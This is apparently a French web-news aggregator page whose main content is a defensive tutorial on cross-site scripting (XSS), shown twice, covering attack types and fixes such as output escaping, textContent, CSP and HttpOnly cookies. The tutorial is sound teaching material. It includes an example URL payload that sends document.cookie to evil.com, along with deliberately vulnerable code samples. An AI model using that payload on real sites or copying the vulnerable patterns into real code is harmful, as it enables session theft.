LES ACTUALITÉS DU JOUR DANS LES MÉTIERS DU WEB - MARMITS.COM - REIMS

Les créateurs de sites en ligne affichent un prix par mois. Sur cinq ans, et le jour où l'on veut partir, l'addition est différente. Les points à vérifier avant de s'engager.

En GEO, être visible ne suffit plus : une marque peut être citée par les IA pour de mauvaises raisons. Place au Sentiment Engine Optimization, qui analyse comment les LLM perçoivent vraiment la marque

Le SEO repose toujours sur la technique, le contenu et l'autorité. Mais face aux IA, on ne mesure plus un rang, mais la fréquence à laquelle votre entreprise est citée.

Même question, même pays, deux langues : les moteurs IA ne citent presque jamais les mêmes marques. Ce que cela change pour le suivi GEO, selon une étude inédite de Stellarcast.

Avec les AI Overviews, Google répond directement aux internautes sans les renvoyer vers les sites. Panique justifiée ou fausse alerte pour les marques qui misent sur le référencement ?

Une page bien classée sur Google peut rester absente des réponses de ChatGPT. Les deux services peuvent mobiliser des sources différentes et répondre différemment à une même recherche.

Avant de vouloir "être visible dans l'IA", une petite entreprise doit savoir sous quelle forme Google répond déjà à ses clients. J'ai classé 198 réponses de l'Aperçu IA et du Mode IA sur cinq métiers

Avec l'essor de l'IA, beaucoup enterrent déjà les logiciels d'entreprise. Ghislain Rouëssé (Banyan Software) voit les choses autrement : ceux qui connaissent un secteur ont un bel avenir devant eux.

Quand l'IA se trompe, nous la suivons presque autant que lorsqu'elle a raison. Cette " reddition cognitive " pose une question : savons-nous encore ajuster notre confiance ?

GPT-6 Astra ou Claude Fable 5.1 ? Faut-il changer d'outil ? La réponse mérite qu'on prenne le temps de l'examiner sérieusement, parce qu'elle n'est pas celle que l'on attend.

Les agents IA dépensent pour vos clients, sans compte à eux. Les crédits reportent le risque sur le client. Un compte par agent, organisé par mission, plafonne le coût avant et révèle la marge après.

J'ai posé 24 questions de clients à quatre assistants IA. Ils citent surtout des annuaires, des plateformes et LinkedIn, rarement les sites des entreprises. Ce qu'une TPE peut en tirer.

La performance de l'IA ne se mesure pas aux livrables produits, mais aux résultats métier : délais, qualité, reprises, coûts et temps réaffecté. Supprimer un processus est mieux que l'automatiser.

L'intelligence artificielle : un outil d'aide ou un substitut à notre réflexion ?

Responsabilité du dirigeant en cas de contrefaçon , le rebondissement du 7 octobre 2026 change la règle en alourdissant sa responsabilité.

L'IA a déplacé le travail d'écriture vers la relecture, que personne n'apprend. Une méthode en trois passes, et un rôle pour le manager : dire ce qui ne part jamais sans relecture.

"Arrêtez d'aller sur Internet", disaient les médecins. J'ai désobéi. Une IA a trouvé l'erreur que des spécialistes répétaient depuis quatre ans. Ils ont rougi... de honte. L'IA et la médecine.

L'intelligence artificielle va-t-elle prendre le contrôle de l'humanité ? Et si c'était nous qui le lui cédions progressivement… ?

Face à l'IA, chacun choisit son camp : optimiste ou pessimiste. C'est la mauvaise posture. Les deux visions sont vraies en même temps.

Un assistant financier peut recevoir bien plus de données que nécessaire. Séparer les questions publiques des demandes liées à un compte permet de concevoir un parcours plus sobre et plus sûr.

Une entreprise B2B2C peut être bien recommandée par les IA quand on les interroge sur ses produits, et presque absente quand ses clients professionnels les interrogent sur leurs problèmes à résoudre.

L'IA sait raisonner sur le droit, mais il faut lui connecter les textes : la question n'est plus " quelle IA ? ", mais " à quels textes a-t-elle accès ? ".

L'essor des outils de développement agentiques exige des workflows auditables pour garantir transparence, contrôle et confiance.

Les logements des Français valent près de trois fois le PIB, mais les banques prêtent de moins en moins. Le Code civil prévoit déjà des solutions, mais presque personne ne les mettait en œuvre.

Depuis la fin de l'APL pour les étudiants extracommunautaires non boursiers, leur dossier repose sur le garant. Or la loi interdit depuis 2006 de le refuser parce qu'il vit à l'étranger.

Il se crée une conciergerie toutes les huit heures en France. Tableur, WhatsApp, relevé en retard : les trois pièges qui n'apparaissent qu'au décollage, et ce qu'il faut regarder avant.

Le film La Maison de nos rêves, de Claude Zidi Jr., avec Kev Adams et Chantal Ladesou, remet le viager sur le devant de la scène.

Il existe dans le monde du web une catégorie de personnes dont le passe-temps favori consiste à injecter du code dans les sites des autres. Pas pour le sport (enfin, pas seulement), mais parce que ça marche encore, souvent, et c'est là le problème.

Le Cross-Site Scripting, ou XSS, est une vulnérabilité vieille comme Netscape, régulièrement dans le top 10 de l'OWASP Open Worldwide Application Security Project, et pourtant toujours présente dans une quantité non négligeable de projets en production.

C'est quoi exactement, XSS ?

Une attaque XSS se produit lorsqu'un attaquant réussit à injecter du code JavaScript malveillant dans une page web, et que ce code est ensuite exécuté dans le navigateur d'un autre utilisateur.

Vu d'un autre angle : quelqu'un écrit et arrive à faire exécuter du code sur votre site, et vos utilisateurs le subissent.

Ce code peut faire à peu près tout ce que JavaScript permet : voler des cookies de session, rediriger vers un faux site, afficher un faux formulaire de connexion, enregistrer les frappes clavier, ou simplement afficher un message gênant. Les conséquences vont du simple embarras à la compromission totale d'un compte puisqu'on peut s'en servir pour récupérer des mots de passe.

Les trois axes d'attaque XSS

1. XSS réfléchi (Reflected XSS)

La charge malveillante est contenue dans la requête elle-même (souvent dans l'URL) et renvoyée directement dans la réponse HTML. L'attaquant doit convaincre une victime de cliquer sur un lien spécialement forgé.

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Si le serveur réaffiche sans la vérifier la valeur de q dans la page sans l'encoder, bingo. Ce type d'attaque est souvent véhiculé par email ou message instantané. Ce n'est pas très évolué ni extrêmement courant de nos jours, mais quand ça passe, c'est simple et efficace.

2. XSS stocké (Stored XSS)

Là, ça devient plus sérieux : le code malveillant est enregistré dans la base de données (commentaire, pseudo, bio, champ de formulaire…) et servi à tous les visiteurs de la page concernée.

Imaginez un forum où l'attaquant poste un commentaire contenant un script. Chaque personne qui charge la page exécute ce script, sans le savoir.

3. XSS basé sur le DOM (DOM-based XSS)

Ici, le serveur n'est pas en cause, le problème est entièrement côté client/navigateur. Le script malveillant est exécuté parce que du JavaScript légitime de la page lit et utilise des données non fiables (des API sensibles telles qu'URL, localStorage, postMessage…) sans les vérifier.

// Code vulnérable côté client
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Bonjour ' + name;

Un attaquant passe ?name=<img src=x onerror=alert(1)> dans l'URL et 🧨.

Pourquoi ça marche encore de nos jours ?

Parce que la confiance est le problème fondamental. On fait confiance aux données qui viennent de l'utilisateur, de la base de données, d'une API tierce, sans vérifier. Et un navigateur, lui, fait confiance à tout ce qu'une page lui envoie. C'est fortement lié à la question de la rétro-compatibilité, pour permettre à tous les sites de fonctionner y compris ceux du "passé" qui n'étaient pas équipés de pratiques de sécurité bloquant par défaut les actions sensibles.

Toute donnée externe est potentiellement risquée. Paramètres d'URL, champs de formulaire, en-têtes HTTP, données de l'utilisateur stockées, etc.

Comment s'en protéger ?

Échapper les sorties

Le principe numéro un, quel que soit le contexte : encoder les données avant de les afficher. On ne parle même pas de les valider à l'entrée ici (même si c'est utile), mais de les rendre inoffensives au moment où elles atterrissent dans la page.

En PHP

htmlspecialchars() est fait pour ça :

// ❌ Dangereux
echo $_GET['name'];

// ✅ Mieux
echo htmlspecialchars($_GET['name'], ENT_QUOTES | ENT_HTML5, 'UTF-8');

htmlspecialchars() convertit les caractères spéciaux HTML (<, >, ", ', &) en entités HTML. Le texte <script>alert(1)</script> devient <script>alert(1)</script> affiché comme du... texte, pas exécuté comme du code.

• Toujours préciser ENT_QUOTES pour encoder aussi les guillemets simples
• Toujours préciser l'encodage UTF-8 explicitement
• Cette fonction est faite pour le contexte HTML. Dans un attribut JavaScript ou une URL, les règles sont différentes (voir plus bas)

Dans un attribut HTML :

<input value="<?= htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') ?>">

Dans une URL :

<a href="/profile?user=<?= urlencode($username) ?>">Profil</a>

N'utilisez pas htmlspecialchars() pour des valeurs qui vont dans des URLs : urlencode() est fait pour ça.

Pour PHP + JavaScript (à éviter si possible) : injecter des données PHP dans du JavaScript inline, c'est possible mais périlleux. Si c'est vraiment nécessaire :

<script>
  const userId = <?= json_encode($userId, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;
</script>

json_encode() avec ces flags encode les caractères dangereux, mais préférez passer les données via un attribut data-* dans une balise HTML, ou une API JSON.

En JavaScript (vanilla)

textContent plutôt que innerHTML, c'est la règle la plus simple et la plus efficace :

// ❌ Dangereux — interprète le HTML
element.innerHTML = userInput;

// ✅ Sûr — traite tout comme du texte brut
element.textContent = userInput;

textContent n'interprète pas le HTML.

Si vous devez construire du HTML dynamique, construisez des éléments DOM plutôt que des chaînes directement injectées :

// ❌ À éviter
container.innerHTML = `<p>Bonjour ${userName}</p>`;

// ✅ Mieux
const p = document.createElement('p');
p.textContent = `Bonjour ${userName}`;
container.appendChild(p);

Méfiez-vous des sources de données non fiables.

// ❌ Vulnérable au DOM XSS
const search = new URLSearchParams(location.search).get('q');
results.innerHTML = `Résultats pour : <strong>${search}</strong>`;

// ✅ Correct
const search = new URLSearchParams(location.search).get('q');
const label = document.createElement('p');
label.textContent = `Résultats pour : `;
const strong = document.createElement('strong');
strong.textContent = search;
label.appendChild(strong);
results.appendChild(label);

La Content Security Policy (CSP)

Même avec un code impeccable, une erreur peut passer. Content Security Policy est une couche de protection supplémentaire : elle indique au navigateur quels scripts il est autorisé à exécuter.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com

Avec cette directive, le navigateur refusera d'exécuter tout script qui ne vient pas de votre domaine ou de votre CDN autorisé — y compris un éventuel script injecté via XSS.

La CSP se configure dans les en-têtes HTTP (côté serveur) ou via une balise <meta> :

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

Attention : une CSP bien configurée prend un peu de temps à mettre en place (notamment pour les scripts inline et les ressources tierces), mais c'est un excellent filet de sécurité.

Les attributs HttpOnly et Secure sur les cookies

Une bonne part des attaques XSS ciblent les cookies de session pour les voler via document.cookie. Le flag HttpOnly rend les cookies inaccessibles à JavaScript :

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

• HttpOnly : le cookie n'est pas accessible via JavaScript
• Secure : le cookie n'est transmis que sur HTTPS
• SameSite=Strict : le cookie n'est pas envoyé dans les requêtes cross-site (protection CSRF en bonus)

Ce n'est pas une protection contre le XSS lui-même, mais ça limite considérablement l'impact d'une exploitation réussie.

Récapitulatif

Pour aller plus loin

• OWASP XSS Prevention Cheat Sheet la référence
• DOMPurify lib de "nettoyage" HTML côté client
• MDN : Content Security Policy tout sur la CSP
• XSS Game s'entraîner à détecter les failles dans un environnement bac à sable

Publié par Alsacreations.com

Il existe dans le monde du web une catégorie de personnes dont le passe-temps favori consiste à injecter du code dans les sites des autres. Pas pour le sport (enfin, pas seulement), mais parce que ça marche encore, souvent, et c'est là le problème.

Le Cross-Site Scripting, ou XSS, est une vulnérabilité vieille comme Netscape, régulièrement dans le top 10 de l'OWASP Open Worldwide Application Security Project, et pourtant toujours présente dans une quantité non négligeable de projets en production.

C'est quoi exactement, XSS ?

Une attaque XSS se produit lorsqu'un attaquant réussit à injecter du code JavaScript malveillant dans une page web, et que ce code est ensuite exécuté dans le navigateur d'un autre utilisateur.

Vu d'un autre angle : quelqu'un écrit et arrive à faire exécuter du code sur votre site, et vos utilisateurs le subissent.

Ce code peut faire à peu près tout ce que JavaScript permet : voler des cookies de session, rediriger vers un faux site, afficher un faux formulaire de connexion, enregistrer les frappes clavier, ou simplement afficher un message gênant. Les conséquences vont du simple embarras à la compromission totale d'un compte puisqu'on peut s'en servir pour récupérer des mots de passe.

Les trois axes d'attaque XSS

1. XSS réfléchi (Reflected XSS)

La charge malveillante est contenue dans la requête elle-même (souvent dans l'URL) et renvoyée directement dans la réponse HTML. L'attaquant doit convaincre une victime de cliquer sur un lien spécialement forgé.

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Si le serveur réaffiche sans la vérifier la valeur de q dans la page sans l'encoder, bingo. Ce type d'attaque est souvent véhiculé par email ou message instantané. Ce n'est pas très évolué ni extrêmement courant de nos jours, mais quand ça passe, c'est simple et efficace.

2. XSS stocké (Stored XSS)

Là, ça devient plus sérieux : le code malveillant est enregistré dans la base de données (commentaire, pseudo, bio, champ de formulaire…) et servi à tous les visiteurs de la page concernée.

Imaginez un forum où l'attaquant poste un commentaire contenant un script. Chaque personne qui charge la page exécute ce script, sans le savoir.

3. XSS basé sur le DOM (DOM-based XSS)

Ici, le serveur n'est pas en cause, le problème est entièrement côté client/navigateur. Le script malveillant est exécuté parce que du JavaScript légitime de la page lit et utilise des données non fiables (des API sensibles telles qu'URL, localStorage, postMessage…) sans les vérifier.

// Code vulnérable côté client
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Bonjour ' + name;

Un attaquant passe ?name=<img src=x onerror=alert(1)> dans l'URL et 🧨.

Pourquoi ça marche encore de nos jours ?

Parce que la confiance est le problème fondamental. On fait confiance aux données qui viennent de l'utilisateur, de la base de données, d'une API tierce, sans vérifier. Et un navigateur, lui, fait confiance à tout ce qu'une page lui envoie. C'est fortement lié à la question de la rétro-compatibilité, pour permettre à tous les sites de fonctionner y compris ceux du "passé" qui n'étaient pas équipés de pratiques de sécurité bloquant par défaut les actions sensibles.

Toute donnée externe est potentiellement risquée. Paramètres d'URL, champs de formulaire, en-têtes HTTP, données de l'utilisateur stockées, etc.

Comment s'en protéger ?

Échapper les sorties

Le principe numéro un, quel que soit le contexte : encoder les données avant de les afficher. On ne parle même pas de les valider à l'entrée ici (même si c'est utile), mais de les rendre inoffensives au moment où elles atterrissent dans la page.

En PHP

htmlspecialchars() est fait pour ça :

// ❌ Dangereux
echo $_GET['name'];

// ✅ Mieux
echo htmlspecialchars($_GET['name'], ENT_QUOTES | ENT_HTML5, 'UTF-8');

htmlspecialchars() convertit les caractères spéciaux HTML (<, >, ", ', &) en entités HTML. Le texte <script>alert(1)</script> devient <script>alert(1)</script> affiché comme du... texte, pas exécuté comme du code.

• Toujours préciser ENT_QUOTES pour encoder aussi les guillemets simples
• Toujours préciser l'encodage UTF-8 explicitement
• Cette fonction est faite pour le contexte HTML. Dans un attribut JavaScript ou une URL, les règles sont différentes (voir plus bas)

Dans un attribut HTML :

<input value="<?= htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') ?>">

Dans une URL :

<a href="/profile?user=<?= urlencode($username) ?>">Profil</a>

N'utilisez pas htmlspecialchars() pour des valeurs qui vont dans des URLs : urlencode() est fait pour ça.

Pour PHP + JavaScript (à éviter si possible) : injecter des données PHP dans du JavaScript inline, c'est possible mais périlleux. Si c'est vraiment nécessaire :

<script>
  const userId = <?= json_encode($userId, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;
</script>

json_encode() avec ces flags encode les caractères dangereux, mais préférez passer les données via un attribut data-* dans une balise HTML, ou une API JSON.

En JavaScript (vanilla)

textContent plutôt que innerHTML, c'est la règle la plus simple et la plus efficace :

// ❌ Dangereux — interprète le HTML
element.innerHTML = userInput;

// ✅ Sûr — traite tout comme du texte brut
element.textContent = userInput;

textContent n'interprète pas le HTML.

Si vous devez construire du HTML dynamique, construisez des éléments DOM plutôt que des chaînes directement injectées :

// ❌ À éviter
container.innerHTML = `<p>Bonjour ${userName}</p>`;

// ✅ Mieux
const p = document.createElement('p');
p.textContent = `Bonjour ${userName}`;
container.appendChild(p);

Méfiez-vous des sources de données non fiables.

// ❌ Vulnérable au DOM XSS
const search = new URLSearchParams(location.search).get('q');
results.innerHTML = `Résultats pour : <strong>${search}</strong>`;

// ✅ Correct
const search = new URLSearchParams(location.search).get('q');
const label = document.createElement('p');
label.textContent = `Résultats pour : `;
const strong = document.createElement('strong');
strong.textContent = search;
label.appendChild(strong);
results.appendChild(label);

La Content Security Policy (CSP)

Même avec un code impeccable, une erreur peut passer. Content Security Policy est une couche de protection supplémentaire : elle indique au navigateur quels scripts il est autorisé à exécuter.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com

Avec cette directive, le navigateur refusera d'exécuter tout script qui ne vient pas de votre domaine ou de votre CDN autorisé — y compris un éventuel script injecté via XSS.

La CSP se configure dans les en-têtes HTTP (côté serveur) ou via une balise <meta> :

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

Attention : une CSP bien configurée prend un peu de temps à mettre en place (notamment pour les scripts inline et les ressources tierces), mais c'est un excellent filet de sécurité.

Les attributs HttpOnly et Secure sur les cookies

Une bonne part des attaques XSS ciblent les cookies de session pour les voler via document.cookie. Le flag HttpOnly rend les cookies inaccessibles à JavaScript :

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

• HttpOnly : le cookie n'est pas accessible via JavaScript
• Secure : le cookie n'est transmis que sur HTTPS
• SameSite=Strict : le cookie n'est pas envoyé dans les requêtes cross-site (protection CSRF en bonus)

Ce n'est pas une protection contre le XSS lui-même, mais ça limite considérablement l'impact d'une exploitation réussie.

Récapitulatif

Pour aller plus loin

• OWASP XSS Prevention Cheat Sheet la référence
• DOMPurify lib de "nettoyage" HTML côté client
• MDN : Content Security Policy tout sur la CSP
• XSS Game s'entraîner à détecter les failles dans un environnement bac à sable

Publié par Alsacreations.com

Les deux variantes d'un même modèle progressent en code, en vision et en raisonnement, et s'attaquent à la science et à la robotique. Le prix baisse de 20%.

Joseph Shenouda, fondateur des Vatican Cyber Volunteers, qui rassemble une centaine d'experts en cybersécurité du monde entier, confie au JDN avoir été contraint de dissoudre l'organisation, faute de volonté du Vatican de renforcer sa cybersécurité.

Pourquoi les bras droits IA vont alléger la charge mentale des cadres et des dirigeants.

Pourquoi les bras droits IA vont alléger la charge mentale des cadres et des dirigeants.

Pourquoi les bras droits IA vont alléger la charge mentale des cadres et des dirigeants.

Le chômage en France marque une stabilisation inattendue au troisième trimestre 2026, interrompant une hausse quasi continue depuis début 2025.

Le choix du prochain président de la Banque centrale européenne oppose l'Espagnol Pablo Hernandez de Cos au Néerlandais Klaas Knot, alors que Christine Lagarde quittera son poste le 7 février 2027.

Les magasins BHV Marais et BHV Parly 2 doivent fermer temporairement, une "régularisation administrative" liée à une police d'assurance empêchant leur ouverture dans le contexte du redressement judiciaire.

Un texte copié depuis un PDF, une liste remplie de doublons, un titre dont il faut vérifier la longueur : ...

Lire la suite

Le départ massif des organisations lycéennes, étudiantes et syndicales a marqué la réunion, en réaction à la présence de représentants de l'extrême droite et du patronat.

Le président français appelle à interdire l'intelligence artificielle lorsqu'elle présente un risque pour les enfants, à la veille de l'adoption d'une charte lors du Forum de Paris sur la Paix.

La baisse de visites impacte la conquête de nouveaux donateurs. Pour contrer cette tendance, Wikimedia mise sur le partenariat avec les IA explique Marshall Miller, senior director of product for core experiences chez Wikimedia Foundation

Platypus Companion fait passer quelques secondes un ornithorynque en bas de l'écran, sur Mac et Windows, pour vous rappeler de cligner des yeux, de vous étirer ou de faire une pause. Version gratuite, complète à quelques euros.

L'aveu de Jensen Huang bouleverse Nvidia et fait vaciller le secteur de l'intelligence artificielle, entre enquête interne et inquiétudes sur la sécurité nationale.

Nylon relie vos machines en WireGuard sans serveur de coordination : chaque nœud relaie pour les autres et le trafic suit la route de plus faible latence. À condition d'avoir un bout joignable par lien et des machines de confiance.

Le candidat veut augmenter le volume global de travail en France, en permettant aux salariés volontaires de travailler plus et d'être payés en conséquence.

Ce salarié n'avait pas à être privé de son salaire selon la Cour de cassation. Son employeur était pleinement responsable de la situation.

DockEcho pose une copie synchronisée du Dock de macOS sur chaque écran externe, avec vos réglages. Open source, sous licence MIT, à compiler soi-même.